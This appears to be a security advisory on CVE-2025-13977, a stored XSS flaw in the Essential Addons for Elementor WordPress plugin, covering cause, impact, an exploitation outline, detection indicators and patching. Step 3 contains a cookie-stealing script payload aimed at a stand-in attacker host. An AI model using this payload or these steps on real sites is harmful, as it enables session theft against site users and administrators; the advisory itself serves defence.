CVE-2025-13977: 
WordPress vulnerability analysis and mitigation

CVE-2025-13977 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Addons for Elementor WordPress plugin (versions up to and including 6.5.3). The flaw exists in two components: the Event Calendar widget's custom attributes handling and the Image Masking module's element ID rendering, both of which fail to properly sanitize input and escape output. Authenticated attackers with Contributor-level access or above can inject arbitrary JavaScript that executes in the browser of any user visiting an affected page. It was published on December 17, 2025, with a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from insufficient input sanitization and output escaping in two distinct code paths. In the Event Calendar widget, custom HTML attributes are not properly sanitized before being rendered in the front-end JavaScript (event-calendar.min.js). In the Image Masking module, the element ID parameter is rendered without escaping at lines 498 and 587 of Image_Masking.php. Both attack vectors are network-accessible and require only low privileges (Contributor role), with no user interaction needed to trigger execution once the malicious content is saved to a page (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to persistently inject malicious scripts into WordPress pages, which execute in the context of any visitor's browser — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection of site visitors to malicious sites. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress site and its users (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-13977 as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.032%, indicating a low probability of near-term exploitation. Exploitation requires at minimum a Contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic threat on sites with open contributor registration (Wordfence).

1. Gain Contributor Access: Register or compromise a Contributor-level (or higher) account on the target WordPress site running Essential Addons for Elementor ≤ 6.5.3.
2. Create or Edit a Page: Navigate to the WordPress editor and create or edit a page that uses the Elementor page builder.
3. Target the Event Calendar Widget: Add the Event Calendar widget to the page and insert a malicious JavaScript payload (e.g., "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a custom attribute field, which is not sanitized before rendering.
4. Alternatively, Target the Image Masking Module: Add an Image Masking element and inject a malicious payload into the element ID field (rendered unsanitized at Image_Masking.php lines 498/587).
5. Publish the Page: Save and publish the page. The injected script is now stored in the database.
6. Trigger Execution: Any user (including administrators) who visits the affected page will have the malicious script execute in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to /wp-admin/post.php or REST API endpoints from Contributor-level accounts containing encoded script tags or JavaScript event handlers in Elementor widget parameters.
• Database: Suspicious entries in the wp_posts or wp_postmeta tables containing <script>, javascript:, onerror=, or similar XSS payloads within Elementor widget data (serialized JSON/HTML).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with Event Calendar or Image Masking widgets — potentially indicating cookie exfiltration.
• File System: Unexpected modifications to plugin files under wp-content/plugins/essential-addons-for-elementor-lite/, particularly event-calendar.min.js or Image_Masking.php, if an attacker escalated to file write access post-XSS.

The vendor (WPDev Team) released a patch in version 6.5.4 of Essential Addons for Elementor, which addresses the insufficient sanitization in both the Event Calendar widget and the Image Masking module. Site administrators should update the plugin to version 6.5.4 or later immediately via the WordPress dashboard or by downloading from the WordPress plugin repository. As a temporary workaround, sites can restrict Contributor-level user registration or disable the Event Calendar widget and Image Masking module until the update is applied (Wordfence, WordPress Trac).

Wordfence disclosed the vulnerability and included it in their weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026, noting the patch availability in version 6.5.4 (Wordfence Blog). Sucuri also referenced the vulnerability in their December 2025 vulnerability patch roundup (Sucuri Blog). No significant social media controversy or threat actor attribution has been publicly reported.